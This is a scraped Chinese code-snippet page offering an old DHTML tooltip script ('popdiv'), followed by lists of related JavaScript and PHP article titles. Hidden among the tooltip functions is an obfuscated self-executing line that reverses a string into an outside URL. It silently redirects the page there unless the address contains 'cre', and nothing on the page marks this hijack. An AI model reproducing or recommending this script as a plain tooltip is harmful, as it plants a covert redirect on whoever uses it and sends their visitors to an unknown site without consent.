popdiv


Posted in Javascript onJuly 14, 2006

var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip

var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).

document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image

var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();

function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20

var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY

var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip

Javascript 相关文章推荐
Javascript+XMLHttpRequest+asp.net无刷新读取数据库数据
Aug 09 Javascript
javascript学习笔记(九) js对象 设计模式
Jun 19 Javascript
jquery动态增加删除表格行的小例子
Nov 14 Javascript
JavaScript获取按钮所在form表单id的方法
Apr 02 Javascript
Node.js中路径处理模块path详解
Nov 14 Javascript
基于Bootstrap框架实现图片切换
Mar 10 Javascript
Vue.js 中 axios 跨域访问错误问题及解决方法
Nov 21 Javascript
Node.js Windows Binary二进制文件安装方法
May 16 Javascript
JS中FormData类实现文件上传
Mar 27 Javascript
Vue自定义多选组件使用详解
Sep 08 Javascript
如何通过简单的代码描述Angular父组件、子组件传值
Apr 07 Javascript
小程序实现侧滑删除功能
Jun 25 Javascript
游戏人文件夹程序 ver 4.03
Jul 14 #Javascript
游戏人文件夹程序 ver 3.0
Jul 14 #Javascript
表单提交验证类
Jul 14 #Javascript
如何实现浏览器上的右键菜单
Jul 10 #Javascript
载入进度条 效果
Jul 08 #Javascript
让广告代码不再影响你的网页加载速度
Jul 07 #Javascript
一段实时更新的时间代码
Jul 07 #Javascript
You might like
php全排列递归算法代码
2012/10/09 PHP
PHP 字符串长度判断效率更高的方法
2014/03/02 PHP
常见php数据文件缓存类汇总
2014/12/05 PHP
PHP中session跨子域的三种实现方法
2016/07/25 PHP
PHP给前端返回一个JSON对象的实例讲解
2018/05/31 PHP
第一个JavaScript入门基础 document.write输出
2010/02/22 Javascript
判定是否原生方法的JS代码
2013/11/12 Javascript
Backbone.js框架中Model与Collection的使用实例
2016/05/07 Javascript
JavaScript遍历求解数独问题的主要思路小结
2016/06/12 Javascript
基于SpringMVC+Bootstrap+DataTables实现表格服务端分页、模糊查询
2016/10/30 Javascript
webix+springmvc session超时跳转登录页面
2016/10/30 Javascript
深入探究node之Transform
2017/07/20 Javascript
three.js搭建室内场景教程
2018/12/30 Javascript
jQuery创建折叠式菜单
2019/06/15 jQuery
jQuery三组基本动画与自定义动画操作实例总结
2020/05/09 jQuery
JavaScript实现轮播图效果
2020/10/30 Javascript
解决vue项目打包上服务器显示404错误,本地没出错的问题
2020/11/03 Javascript
JavaScript/TypeScript 实现并发请求控制的示例代码
2021/01/18 Javascript
Python中比较特别的除法运算和幂运算介绍
2015/04/05 Python
Python读写txt文本文件的操作方法全解析
2016/06/26 Python
简单实现python数独游戏
2018/03/30 Python
关于Python的一些学习总结
2018/05/25 Python
python3正则提取字符串里的中文实例
2019/01/31 Python
Django 使用easy_thumbnails压缩上传的图片方法
2019/07/26 Python
Python 使用 docopt 解析json参数文件过程讲解
2019/08/13 Python
pandas条件组合筛选和按范围筛选的示例代码
2019/08/26 Python
python二维键值数组生成转json的例子
2019/12/06 Python
Django自定义全局403、404、500错误页面的示例代码
2020/03/08 Python
基于python实现删除指定文件类型
2020/07/21 Python
Kneipp克奈圃美国官网:德国百年精油配方的传承
2018/02/07 全球购物
煤矿班组长岗位职责
2013/12/29 职场文书
给上级领导的感谢信
2015/01/22 职场文书
资料员岗位职责
2015/02/10 职场文书
廉政承诺书2015
2015/04/28 职场文书
2015年基层党建工作总结
2015/05/14 职场文书
MySQL慢查询的坑
2021/04/28 MySQL